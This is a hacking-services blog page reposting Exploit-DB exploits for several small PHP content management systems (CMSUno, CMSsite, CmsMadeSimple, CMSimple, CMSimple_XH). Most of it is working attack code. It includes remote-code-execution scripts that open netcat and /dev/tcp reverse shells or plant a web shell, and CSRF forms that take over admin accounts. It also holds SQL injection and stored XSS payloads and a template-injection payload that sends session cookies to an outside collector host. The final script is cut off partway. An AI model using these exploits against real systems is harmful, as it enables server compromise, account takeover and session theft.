Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863138753

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: CMSUno 1.6.2 - 'lang' Remote Code Execution (Authenticated)
# Google Dork: N/A
# Date: 2020.09.30
# Exploit Author: Fatih Çelik
# Vendor Homepage: https://github.com/boiteasite/cmsuno/
# Software Link: https://github.com/boiteasite/cmsuno/
# Blog: https://fatihhcelik.blogspot.com/2020/09/cmsuno-162-remote-code-execution_30.html
# Version: 1.6.2
# Tested on: Kali Linux 2020.2

import requests
from bs4 import BeautifulSoup
import lxml
import json

username = input("username: ")
password = input("password: ")
root_url = input("Root URL: http://192.168.1.9/cmsuno --> ")
listener_ip = input("Your ip: ")
listener_port = input("Your port for reverse shell: ")

login_url = root_url + "/uno.php"
vulnerable_url = root_url + "/uno/central.php"

session = requests.Session()
request = session.get(login_url)

# Get the unox value
soup = BeautifulSoup(request.text,"lxml")
unox = soup.find("input",{'name':'unox'})['value']

# Login 
body = {"unox":unox,"user":username,"pass":password}
session.post(login_url, data=body)

# Get the second unox value
request = session.get(login_url)
unox = soup.find("input",{'name':'unox'})['value']

# Exploit
header = {
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0",
"Accept":"*/",
"Accept-Encoding": "gzip, deflate",
"X-Requested-With": "XMLHttpRequest",
"Origin": login_url,
"Connection": "close",
"Referer": login_url
}

payload = 'en";system(\'nc.traditional {} {} -e /bin/bash\');?>// '.format(listener_ip,listener_port)

while True:
    body = 'action=sauvePass&unox={}&user0=&pass0=&user=&pass=&lang={}'.format(unox,payload)
    session.post(vulnerable_url, data=(json.dumps(body)).replace("\\","")[1:-1],headers=header)
    request = session.get(login_url)
    text = request.text
    soup = BeautifulSoup(text,"lxml")
    script = soup.findAll('script')[1].string
    data = script.split("Unox='")[1]
    unox = data.split("',")[0]
HireHackking 
# Exploit Title: CMSUno 1.6.2 - 'lang/user' Remote Code Execution (Authenticated)
# Google Dorks:
#   inurl:uno/central.php
#   inurl:uno/config.php
#   inurl:uno.php intitle:"CMSUno - Login"
# Exploit Author: noraj (Alexandre ZANNI) for SEC-IT (https://secit.fr) https://www.exploit-db.com/?author=10066
# Vendor Homepage: https://www.boiteasite.fr/cmsuno.html
# Software Link: https://github.com/boiteasite/cmsuno/archive/1.6.2.tar.gz
# Version: 1.6.1, 1.6.2
# Tested on: docker image: php:7.4-apache (Debian buster)
# CVE : CVE-2020-25557 & CVE-2020-25538

# Vulnerabilities
## Discoverer: Fatih Çelik
## Discoverer website: https://fatihhcelik.blogspot.com
## Vulnerability 1:
##   Title: CMSUno 1.6.2 - 'user' Remote Code Execution (Authenticated)
##   CVE: CVE-2020-25557
##   References: https://fatihhcelik.blogspot.com/2020/09/cmsuno-162-remote-code-execution.html
## Vulnerability 2:
##   Title: CMSUno 1.6.2 - 'lang' Remote Code Execution (Authenticated)
##   CVE: CVE-2020-25538
##   References: https://fatihhcelik.blogspot.com/2020/09/cmsuno-162-remote-code-execution_30.html

#!/usr/bin/env ruby

require 'httpclient'
require 'docopt'

# username = 'cmsuno'
# password = '654321'
# root_url = 'http://localhost:5000/'
# command = 'pwd'

doc = <<~DOCOPT
  CMSUno 1.6.1 <= 1.6.2 - Remote Code Execution (Authenticated)

  Usage:
    #{__FILE__} -r <url> -c <cmd> [-u <username>] [-p <password>] [-t <tech>] [--debug]
    #{__FILE__} -H | --help

  Options:
    -r <url>, --root-url <url>            Root URL (base path) including HTTP scheme, port and root folder
    -u <username>, --user <username>      user name (if not default: cmsuno)
    -p <password>, --pass <password>      User password (if not default: 654321)
    -c <cmd>, --command <cmd>             Command to execute on the target
    -t <tehc>, --technique <tech>         Technique: exploiting 'user' param (default, with output) or 'lang' param (blind)
    --debug                               Display arguments
    -h, --help                            Show this screen

  Examples:
    #{__FILE__} -r http://example.org -c id
    #{__FILE__} -r https://example.org:5000/cmsuno -c 'touch hackproof' -u john -p admin1234 -t lang
DOCOPT

# Get anti-CSRF token
def get_unox(client, auth_status)
  print '[*] Fetching anti-CSRF token: '
  res = client.get(LOGIN_URL)
  case auth_status
  when false
    regexp = /name="unox" value="([a-f0-9]{32}?)"/
  when true
    regexp = /Unox='([a-f0-9]{32}?)'/
  end
  token = regexp.match(res.body).captures[0].chomp
  puts token
  return token
end

def login(client, user, pass)
  data = {
    'unox' => get_unox(client, false),
    'user' => user,
    'pass' => pass,
  }
  puts '[*] Logging in'
  res = client.post(LOGIN_URL, data)
  return res.body
end

def exploit(client, user, pass, cmd, tech)
  payload = "#{user}\";$pass='#{pass}';system('#{cmd}');?>// "
  case tech
  when 'user'
    data = "action=sauvePass&unox=#{get_unox(client, true)}&user0=#{user}&pass0=#{pass}&user=#{payload}&pass=#{pass}&lang=en"
  when 'lang'
    data = "action=sauvePass&unox=#{get_unox(client, true)}&user0=&pass0=&user=&pass=&lang=#{payload}"
  else
    raise 'Wrong exploitation technique argument value'
  end
  headers = {
    'X-Requested-With' => 'XMLHttpRequest'
  }
  #client.proxy = 'http://localhost:8080'
  puts "[*] Starting exploitation, using '#{tech}' param technique"
  client.post(VULNERABLE_URL, data, headers)
  # Login again to trigger uno/password.php
  clnt2 = HTTPClient.new
  return login(clnt2, user, pass).lines[..-2].join
end

begin
  args = Docopt.docopt(doc)
  pp args if args['--debug']

  username = args['--user'] || 'cmsuno'
  password = args['--pass'] || '654321'
  technique = args['--technique'] || 'user'
  LOGIN_URL = "#{args['--root-url']}/uno.php"
  VULNERABLE_URL = "#{args['--root-url']}/uno/central.php"

  clnt = HTTPClient.new
  login(clnt, username, password)
  output = exploit(clnt, username, password, args['--command'], technique)
  print '[*] Command output:'
  case technique
  when 'user'
    puts "\n#{output}"
  when 'lang'
    puts ' blind RCE, no output with this exploitation technique'
  end
rescue Docopt::Exit => e
  puts e.message
end
HireHackking 
# Exploit Title: CMSUno 1.6 - Cross-Site Request Forgery (Change Admin Password)
# Date: 2020-05-31
# Exploit Author: Noth
# Vendor Homepage: https://github.com/boiteasite/cmsuno
# Software Link: https://github.com/boiteasite/cmsuno
# Version: v1.6
# CVE : 2020-15600

An issue was discovered in CMSUno before 1.6.1. uno.php allows CSRF to change the admin password.

PoC : 

<html>
<body>
<script>history.pushState(",",'/')</script>
<form action=“http://127.0.0.1/cmsuno-master/uno.php”method=“POST”>
<input type=“hidden” name=“user” value=“admin”/>
<input type=“hidden” name=“pass” value=“yourpassword”/>
<input type=“submit” name=“user” value=“Submit request”/>
</form>
</body>
</html>
HireHackking 
# Exploit Title: CMSsite 1.0 - Cross-Site Request Forgery (Delete Admin)
# Exploit Author: Mr Winst0n
# Author E-mail: manamtabeshekan[@]gmail[.]com
# Discovery Date: March 1, 2019
# Vendor Homepage: https://github.com/VictorAlagwu/CMSsite
# Software Link : https://github.com/VictorAlagwu/CMSsite/archive/master.zip
# Tested Version: 1.0
# Tested on: Kali linux, Windows 8.1 

# PoC:

<!doctype html>
<html>
<head>
	<title>Delete Admin</title>
</head>
    <body>
        <form method="post" action="http://localhost/[PATH]/admin/users.php?del=1">
        	<input type="submit" value="Delete">
        </form> 
    </body>
</html>


# Exploit Title: CMSsite 1.0 - Cross-Site Request Forgery (Edit Admin)
# Exploit Author: Mr Winst0n
# Author E-mail: manamtabeshekan[@]gmail[.]com
# Discovery Date: March 1, 2019
# Vendor Homepage: https://github.com/VictorAlagwu/CMSsite
# Software Link : https://github.com/VictorAlagwu/CMSsite/archive/master.zip
# Tested Version: 1.0
# Tested on: Kali linux, Windows 8.1 

# PoC:

<!doctype html>
<html>
<head>
    <title>Edit Admin</title>
</head>
<body>
      <form role="form" action="http://localhost/[PATH]/admin/users.php?source=edit_user&u_id=10" method="POST" enctype="multipart/form-data" >

      	<!-- You can change u_id value -->

<div class="form-group">
		<label for="user_title">User Name</label>
		<input type="text" name="user_name" required>
	</div><br>

	<div class="form-group">
		<label for="user_author">FirstName</label>
		<input type="text" name="user_firstname" required>
	</div><br>

	<div class="form-group">
		<label for="user_status">LastName</label>
		<input type="text" name="user_lastname" required>
	</div><br>
	
		<div class="input-group">
		<select name="user_role" id="">
		    <label for="user_role">Role</label>
		    <option value='User'>Admin</option>
		    <option value='User'>User</option>
	    </select>
	    
	</div><br>
		<div class="form-group">
		<label for="post_image">User Image</label>
		<input type="file" name="user_image">
	</div><br>
	
	<div class="form-group">
		<label for="user_tag">Email</label>
		<input type="email" name="user_email" class="form-control"required>
	</div><br>
	
	<div class="form-group">
		<label for="user_tag">Password</label>
		<input type="password" name="user_password" required>
	</div><br>
    <hr>

    <button type="submit" name="update_user" value="Update User">Update User</button>

    </form>
</body>
</html>


# Exploit Title: CMSsite 1.0 - Cross-Site Request Forgery (Add Admin)
# Exploit Author: Mr Winst0n
# Author E-mail: manamtabeshekan[@]gmail[.]com
# Discovery Date: March 1, 2019
# Vendor Homepage: https://github.com/VictorAlagwu/CMSsite
# Software Link : https://github.com/VictorAlagwu/CMSsite/archive/master.zip
# Tested Version: 1.0
# Tested on: Kali linux, Windows 8.1 

# PoC:

<html>
<head>
    <title>Add Admin</title>
</head>
<body>
<form role="form" action="http://localhost/[PATH]/admin/users.php?source=add_user" method="POST" enctype="multipart/form-data">

    <div class="form-group">
        <label for="user_title">User Name</label>
        <input type="text" name="user_name" required><br><br>
    </div>

    <div class="form-group">
        <label for="user_author">FirstName</label>
        <input type="text" name="user_firstname" required><br><br>
    </div>

    <div class="form-group">
        <label for="user_status">LastName</label>
        <input type="text" name="user_lastname" required><br><br>
    </div>

    <div class="form-group">
        <label for="user_image">Image</label>
        <input type="file" name="user_image" required><br><br>
    </div>
    <div class="input-group">
        <select name="user_role" id="">
            <label for="user_role">Role</label>
            <option value='Admin'>Admin</option><option value='User'>User</option>
        </select><br><br>
    </div>
    <div class="form-group">
        <label for="user_tag">Email</label>
        <input type="email" name="user_email" required><br><br>

    </div>
    <div class="form-group">
        <label for="user_tag">Password</label>
        <input type="password" name="user_password" required><br><br>
    </div>

    <button type="submit" name="create_user" value="Add User">Add User</button>

</form>
</body>
</html>
HireHackking 
# Exploit Title: CMSsite 1.0 - 'search' SQL injection
# Exploit Author : Majid kalantari (mjd.hack@gmail.com)
# Date: 2019-01-27
# Vendor Homepage : https://github.com/VictorAlagwu/CMSsite
# Software link: https://github.com/VictorAlagwu/CMSsite/archive/master.zip
# Version: 1.0
# Tested on: Windows 10
# CVE: N/A
===============================================

# vulnerable file: search.php
# vulnerable parameter : POST - search

if (isset($_POST['submit'])) {
    $search = $_POST["search"];
}
$query = "SELECT * FROM posts WHERE post_tags LIKE '%$search%' AND
post_status='publish'";
$search_query = mysqli_query($con, $query);

# payload on search text box: ' and
extractvalue(1,concat(':',database(),':'))#

===============================================
HireHackking 
# Exploit Title: CMSsite 1.0 - 'post' SQL Injection

# Exploit Author: Mr Winst0n
# Author E-mail: manamtabeshekan[@]gmail[.]com
# Discovery Date: February 17, 2019
# Vendor Homepage: https://github.com/VictorAlagwu/CMSsite
# Software Link : https://github.com/VictorAlagwu/CMSsite/archive/master.zip
# Tested Version: 1.0
# Tested on: Kali linux, Windows 8.1 


# PoC:
# Vulnerable File: post.php
# Vulnerable Parameter : post

if (isset($_GET['post'])) {
	$post = $_GET['post'];
}
$query = "SELECT * FROM posts WHERE post_id=$post";
$run_query = mysqli_query($con, $query);



# Payload: http://localhost/CMSsite/post.php?post=1%20and%20(sleep(10))
HireHackking 
# Exploit Title: CMSsite 1.0 - SQL injection
# Exploit Author : Majid kalantari (mjd.hack@gmail.com)
# Date: 2019-01-27
# Vendor Homepage : https://github.com/VictorAlagwu/CMSsite
# Software link: https://github.com/VictorAlagwu/CMSsite/archive/master.zip
# Version: 1.0
# Tested on: Windows 10
# CVE: N/A
===============================================

# vulnerable file: category.php
# vulnerable parameter : cat_id

if (isset($_GET['cat_id'])) {
    $category = $_GET['cat_id'];
}
$query = "SELECT * FROM posts WHERE post_category_id=$category";
$run_query = mysqli_query($con, $query);

# payload : http://127.0.0.1/cm/category.phpcat_id=7 UNION SELECT
1,2,user(),3,4,5,6,7,8,9,10%23

===============================================
HireHackking 
#Exploit Title: CmsMadeSimple v2.2.17 - Stored Cross-Site Scripting (XSS)
#Application: CmsMadeSimple
#Version: v2.2.17
#Bugs:  Stored Xss
#Technology: PHP
#Vendor URL: https://www.cmsmadesimple.org/
#Software Link: https://www.cmsmadesimple.org/downloads/cmsms
#Date of found: 12-07-2023
#Author: Mirabbas Ağalarov
#Tested on: Linux 

2. Technical Details & POC
========================================
steps: 
1. Login to account
2. Go to Content Manager
3. Add New Content
4. Type as '<img src=x onerror=alert(document.cookie)>' to metadata section

payload: <img src=x onerror=alert(document.cookie)>

5. Submit Content
6. Visit Content (http://localhost/index.php?page=test)

Request:

POST /admin/moduleinterface.php?mact=CMSContentManager,m1_,admin_editcontent,0&;__c=5c64b42fb42c1d6bba6&showtemplate=false HTTP/1.1
Host: localhost
Content-Length: 584
sec-ch-ua: 
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
sec-ch-ua-platform: ""
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: CMSSESSID852a6e69ca02=g13p5ucajc0v5tker6ifdcaso5; 34a3083b62a225efa0bc6b5b43335d226264c2c1=24f612918e7b1c1e085bed5cab82f2a786f45d5c%3A%3AeyJ1aWQiOjEsInVzZXJuYW1lIjoiYWRtaW4iLCJlZmZfdWlkIjpudWxsLCJlZmZfdXNlcm5hbWUiOm51bGwsImhhc2giOiIkMnkkMTAkLndYMkFFZnc4WTJlcWhhQVJ2LndZT1FVY09hTzMzeVlNYzVDU1V5NnFRQkxkeXJZNUozSTYifQ%3D%3D; __c=5c64b42fb42c1d6bba6
Connection: close

mact=CMSContentManager%2Cm1_%2Cadmin_editcontent%2C0&__c=5c64b42fb42c1d6bba6&m1_content_id=0&m1_active_tab=&m1_content_type=content&title=test&content_en=%3Cp%3Etest%3C%2Fp%3E&menutext=&parent_id=-1&showinmenu=0&showinmenu=1&titleattribute=&accesskey=&tabindex=&target=---&metadata=%3Cimg+src%3Dx+onerror%3Dalert(document.cookie)%3E&pagedata=&design_id=2&template_id=10&alias=&active=0&active=1&secure=0&cachable=0&cachable=1&image=&thumbnail=&extra1=&extra2=&extra3=&wantschildren=0&wantschildren=1&searchable=0&searchable=1&disable_wysiwyg=0&additional_editors=&m1_ajax=1&m1_apply=1
HireHackking 
#Exploit Title: CmsMadeSimple v2.2.17 - session hijacking via Server-Side Template Injection (SSTI)
#Application: CmsMadeSimple
#Version: v2.2.17
#Bugs:  SSTI
#Technology: PHP
#Vendor URL: https://www.cmsmadesimple.org/
#Software Link: https://www.cmsmadesimple.org/downloads/cmsms
#Date of found: 13-07-2023
#Author: Mirabbas Ağalarov
#Tested on: Linux 


2. Technical Details & POC
========================================
Steps:

1. Login to test user account
2. Go to Content Manager
3. Add New Content
4. set as 
'''
{$smarty.version}  
{{7*7}}            
{$smarty.now}
{$smarty.template}
<img src=YOU-SERVER/{$smarty.cookies.CMSSESSID852a6e69ca02}>
<img src=YOU-SERVER/{$smarty.cookies.34a3083b62a225efa0bc6b5b43335d226264c2c1}>
<img src=YOU_SERVER/{$smarty.cookies.__c}>
'''
to conten_en section.

5.If any user visit to page, Hacker hijack all cookie 

payload: %3Cp%3E%7B%24smarty.version%7D+%7B%7B7*7%7D%7D+%7B%24smarty.now%7D+%7B%24smarty.template%7D+%3Cimg+src%3D%22https%3A%2F%2Fen3uw3qy2e0zs.x.pipedream.net%2F%7B%24smarty.cookies.CMSSESSID852a6e69ca02%7D%22+%2F%3E+%3Cimg+src%3D%22https%3A%2F%2Fen3uw3qy2e0zs.x.pipedream.net%2F%7B%24smarty.cookies.34a3083b62a225efa0bc6b5b43335d226264c2c1%7D%22+%2F%3E+%3Cimg+src%3D%22https%3A%2F%2Fen3uw3qy2e0zs.x.pipedream.net%2F%7B%24smarty.cookies.__c%7D%22+%2F%3E%3C%2Fp%3E

POC Request 

POST /admin/moduleinterface.php?mact=CMSContentManager,m1_,admin_editcontent,0&;__c=1c2c31a1c1bff4819cd&;m1_content_id=81&showtemplate=false HTTP/1.1
Host: localhost
Content-Length: 988
sec-ch-ua: 
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
sec-ch-ua-platform: ""
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: CMSSESSID852a6e69ca02=bq83g023otkn4s745acdnvbnu4; 34a3083b62a225efa0bc6b5b43335d226264c2c1=1e91865ac5c59e34f8dc1ddb6fd168a61246751d%3A%3AeyJ1aWQiOjEsInVzZXJuYW1lIjoiYWRtaW4iLCJlZmZfdWlkIjoyLCJlZmZfdXNlcm5hbWUiOiJ0ZXN0IiwiaGFzaCI6IiQyeSQxMCRDQlwvWEIyNEpsWmhJNjhKQ29LcWplZXgyOUVXRDRGN2E1MTNIdUo2c3VXMUd1V3NKRTBNcEMifQ%3D%3D; __c=1c2c31a1c1bff4819cd
Connection: close

mact=CMSContentManager%2Cm1_%2Cadmin_editcontent%2C0&__c=1c2c31a1c1bff4819cd&m1_content_id=81&m1_active_tab=&m1_content_type=content&title=test&content_en=%3Cp%3E%7B%24smarty.version%7D+%7B%7B7*7%7D%7D+%7B%24smarty.now%7D+%7B%24smarty.template%7D+%3Cimg+src%3D%22https%3A%2F%2Fen3uw3qy2e0zs.x.pipedream.net%2F%7B%24smarty.cookies.CMSSESSID852a6e69ca02%7D%22+%2F%3E+%3Cimg+src%3D%22https%3A%2F%2Fen3uw3qy2e0zs.x.pipedream.net%2F%7B%24smarty.cookies.34a3083b62a225efa0bc6b5b43335d226264c2c1%7D%22+%2F%3E+%3Cimg+src%3D%22https%3A%2F%2Fen3uw3qy2e0zs.x.pipedream.net%2F%7B%24smarty.cookies.__c%7D%22+%2F%3E%3C%2Fp%3E&menutext=test&parent_id=-1&showinmenu=0&showinmenu=1&titleattribute=&accesskey=&tabindex=&target=---&metadata=&pagedata=&design_id=2&template_id=10&alias=test&active=0&active=1&secure=0&cachable=0&cachable=1&image=&thumbnail=&extra1=&extra2=&extra3=&wantschildren=0&wantschildren=1&searchable=0&searchable=1&disable_wysiwyg=0&ownerid=1&additional_editors=&m1_ajax=1&m1_apply=1

Poc Video: https://youtu.be/zq3u3jRpfqM
HireHackking 
#Exploit Title: CmsMadeSimple v2.2.17 - Remote Code Execution (RCE) 
#Application: CmsMadeSimple
#Version: v2.2.17
#Bugs:  Remote Code Execution(RCE) 
#Technology: PHP
#Vendor URL: https://www.cmsmadesimple.org/
#Software Link: https://www.cmsmadesimple.org/downloads/cmsms
#Date of found: 12-07-2023
#Author: Mirabbas Ağalarov
#Tested on: Linux 


import requests

login_url = 'http://localhost/admin/login.php'
username=input('username = ') 
password=input('password = ') 


upload_url = 'http://localhost/admin/moduleinterface.php'

file_path = input("please phar file name but file must same directory with python file and file content : <?php echo system('cat /etc/passwd') ?>  : ")
#phar file content """"<?php echo system('cat /etc/passwd') ?>"""""

login_data = {
    'username': username,
    'password': password,
    'loginsubmit': 'Submit'
}


session = requests.Session()
response = session.post(login_url, data=login_data)


if response.status_code == 200:
    print('Login account')
else:
    print('Login promlem.')
    exit()


files = {
    'm1_files[]': open(file_path, 'rb')
}

data = {
    'mact': 'FileManager,m1_,upload,0',
    '__c': session.cookies['__c'],
    'disable_buffer': '1'
}


response = session.post(upload_url, files=files, data=data)


if response.status_code == 200:
    print('file upload')
    rce_url=f"http://localhost/uploads/{file_path}"
    rce=requests.get(rce_url)
    print(rce.text)
else:
    print('file not upload')
HireHackking 
# # # # # 
# Exploit Title: Creative Management System - CMS Lite 1.4 - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://bekirk.co.uk/
# Software Link: https://codecanyon.net/item/creative-management-system-cms-lite/15297597
# Demo: http://demo.bekirk.co.uk/
# Version: 1.4
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15984
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/index.php?S=[SQL]
# 
# '+/*!50000Procedure*/+/*!50000Analyse*/+(extractvalue(0,/*!50000concat*/(0x27,0x3a,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()))),0)--+-
# 
# Parameter: S (GET)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: S=BeDark' AND 7998=7998 AND 'QNRN'='QNRN
# 
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 AND time-based blind
#     Payload: S=BeDark' AND SLEEP(5) AND 'DmYc'='DmYc
# 	
# Etc..
# # # # #
HireHackking 
# Exploit Title: CMSimple_XH 1.7.4 - Remote Code Execution (RCE) (Authenticated)
# Date: 01-10-2021
# Exploit Author: Halit AKAYDIN (hLtAkydn)
# Vendor Homepage: https://www.cmsimple-xh.org/
# Software Link: https://www.cmsimple-xh.org/?Downloads
# Version: 1.7.4
# Category: Webapps
# Tested on: Linux/Windows


# CMSimple_XH is an open source project under GPL3 license
# Includes an endpoint that allows remote access
# Backup page is misconfigured, causing security vulnerability
# User information with sufficient permissions is required.

# Example: python3 exploit.py -u http://example.com -p Admin123



from bs4 import BeautifulSoup
from time import sleep
import requests
import argparse


def main():
parser = argparse.ArgumentParser(description='CMSimple_XH Version 1.7.4 - Remote Code Execution (Authenticated)')
parser.add_argument('-u', '--host', type=str, required=True)
parser.add_argument('-p', '--password', type=str, required=True)
args = parser.parse_args()
print("\nCMSimple_XH Version 1.7.4 - Remote Code Execution (Authenticated)",
"\nExploit Author: Halit AKAYDIN (hLtAkydn)\n")
host(args)



def host(args):
#Check http or https
if args.host.startswith(('http://', 'https://')):
print("[?] Check Url...\n")
sleep(2)
args.host = args.host
if args.host.endswith('/'):
args.host = args.host[:-1]
else:
pass
else:
print("\n[?] Check Adress...\n")
sleep(2)
args.host = "http://" + args.host
args.host = args.host
if args.host.endswith('/'):
args.host = args.host[:-1]
else:
pass


# Check Host Status
try:
response = requests.get(args.host)
if response.status_code == 200:
login(args)
else:
print("[-] Address not reachable!")
sleep(2)

except requests.ConnectionError as exception:
print("[-] Address not reachable!")
sleep(2)
exit(1)


def login(args):

url = args.host + "/?&login"
cookies = {
"XH_2f": "evil"
}
headers = {
"Origin": args.host,
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Referer": args.host + "/?&login"
}
data = {
"login": "true",
"keycut": args.password,
"submit": "Login"
}
response = requests.post(url, headers=headers, cookies=cookies, data=data)

token = response.cookies.get("XH_2f")
soup = BeautifulSoup(response.text, 'html.parser')

if (soup.find("link",{"rel":"next"})['href'] != "/"):
print("[!] Login Success!\n")
sleep(2)
csrf(args,token)
else:
print("[!] Wrong password!!\n")
sleep(2)


def csrf(args, token):

url = args.host + "/?file=content"
cookies = {
"status": "adm",
"XH_2f": token
}
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Referer": args.host + "/?&settings",
"Accept-Encoding": "gzip, deflate",
"Connection": "close"
}
response = requests.get(url, headers=headers, cookies=cookies)

try:
soup = BeautifulSoup(response.text, 'html.parser')
csrf = soup.find_all("input", type="hidden")[3].get("value")
create(args, token, csrf)
except Exception as e:
print(e)
else:
pass



def create(args, token, csrf):

payload = "<?php\r\nfile_put_contents('./evil.php', \"\\x3c\\x3fphp system(\\x24_GET['cmd']);\\x3f\\x3e\");\r\n?>\r\n"

url = args.host
cookies = {
"status": "adm",
"XH_2f": token
}
headers = {
"Origin": args.host,
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Referer": args.host + "/?file=content&action=edit&xh_success=content",
"Accept-Encoding": "gzip, deflate"
}
data = {
"text": payload,
"file": "content",
"action": "save",
"xh_csrf_token": csrf
}
response = requests.post(url, headers=headers, cookies=cookies, data=data, allow_redirects=True)

if (response.status_code == 200):
print("[!] Create Vuln File!\n")
sleep(2)
exploit(args)
else:
print("[!] Create Failed!\n")
sleep(2)


def exploit(args):

print("[+] Exploit Done!\n")
sleep(2)

while True:
cmd = input("$ ")
url = args.host + "/evil.php?cmd=" + cmd
headers = {
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0"
}

response = requests.post(url, headers=headers, timeout=5)

if response.text == "":
print(cmd + ": command not found\n")
else:
print(response.text)



if __name__ == '__main__':
main()
HireHackking 
# Exploit Title: Cmsimple 5.4 - Remote Code Execution (RCE) (Authenticated)
# Date: 29.09.2021
# Exploit Author: pussycat0x
# Vendor Homepage: https://www.cmsimple.org/
# Version: 5.4
# Tested on: ubuntu-20.04.1

import argparse
from bs4 import BeautifulSoup
from argparse import ArgumentParser
import requests
parser= ArgumentParser(description="cmsimple ", epilog='cmsimpleRCE.py -url targetdomai.com -u username -p password -ip lhost -lp lport')
rparser = parser.add_argument_group('required argument')
rparser.add_argument('-url','--host', type=str, help='target domain',required=True)
rparser.add_argument('-u' ,'--username', type=str, help='', required=True)
rparser.add_argument('-p','--password',type=str,help='', required=True)
rparser.add_argument('-ip','--lhost',type=str,help='listener ip', required=True)
rparser.add_argument('-lp','--lport', type=str,help='listener port', required=True)
args= parser.parse_args()
#url ='192.168.1.106'
s = requests.Session()

def main():
	try:
		
		url =(args.host)
		payload = {
		'user':args.username,
		'passwd':args.password,
		'submit': 'Login',
		'login':'true',
		}
		login=s.post(url +'/?Welcome_to_CMSimple_5',data=payload)
		if login.status_code == 200:
			print('Exploit Completed')
		else:
			print("Invalid Credential")
		cook =(login.cookies.get_dict())
		temp = s.get(url +'/?file=template&action=edit', cookies=cook)
		soup = BeautifulSoup(temp.text, 'lxml')
		csrfToken = soup.find('input',attrs = {'name':'csrf_token'})['value']
		#<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'");		
		rev = """<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/"""
		rev2=(args.lhost)
		rev3=(args.lport)
		rev4=""" 0>&1'");"""
		php =(rev+rev2+'/'+rev3+rev4)
		revpayload = {
		'cmsimpleDataFileStored':'cmsimpleDataFileStored',
		'csrf_token':csrfToken,
		'text':php,
		'file':'template',
		'action':'save',
		}
		shell = s.post(url +'/',cookies=cook , data=revpayload)
		exec = s.get(url+'/')
		exit()
	except:
		pass
main()
HireHackking 
# Exploit Title: CMSimple 5.4 - Local file inclusion (LFI) to Remote code execution (RCE) (Authenticated)
# Date: 11/15/2021
# Exploit Author: S1lv3r
# Vendor Homepage: https://www.cmsimple.org/en/
# Software Link: https://www.cmsimple.org/en/
# Version:  CMSimple 5.4
# Tested on: CMSimple 5.4

# writeup:
# https://github.com/iiSiLvEr/CMSimple5.4-Vulnerabilities

#!/usr/bin/python3
import requests
import threading
import datetime
import sys
from bs4 import BeautifulSoup


x = datetime.datetime.now()
addSeconds = datetime.timedelta(0, 10)
Time = x + addSeconds

proxies = {"http": "http://127.0.0.1:8080","https": "https://127.0.0.1:8080",}
def Login():
	try:
		global Time
		s = requests.Session()
		headers= {"Content-Type": "application/x-www-form-urlencoded"}
		
		data = f'login=true&selected=Welcome_to_CMSimple_5&User={User}&passwd={Password}&submit=Login'

		response = s.post(RHOST, data=data, headers=headers, verify=False)#, proxies=proxies
		if response.cookies['passwd']:
			print("(+) Sucessfully Logged In With " + User + ":" + Password)

			cookies = response.cookies
			params = (('file', 'config'),('action', 'array'),)
			response = s.get(RHOST ,cookies=cookies ,params=params,verify=False)
			soup = BeautifulSoup(response.text, 'lxml')
			CsrfValue = soup.find('input',attrs = {'name':'csrf_token'})['value']
			print("(+) Get CSRF Token  : [ " + CsrfValue + " ]")
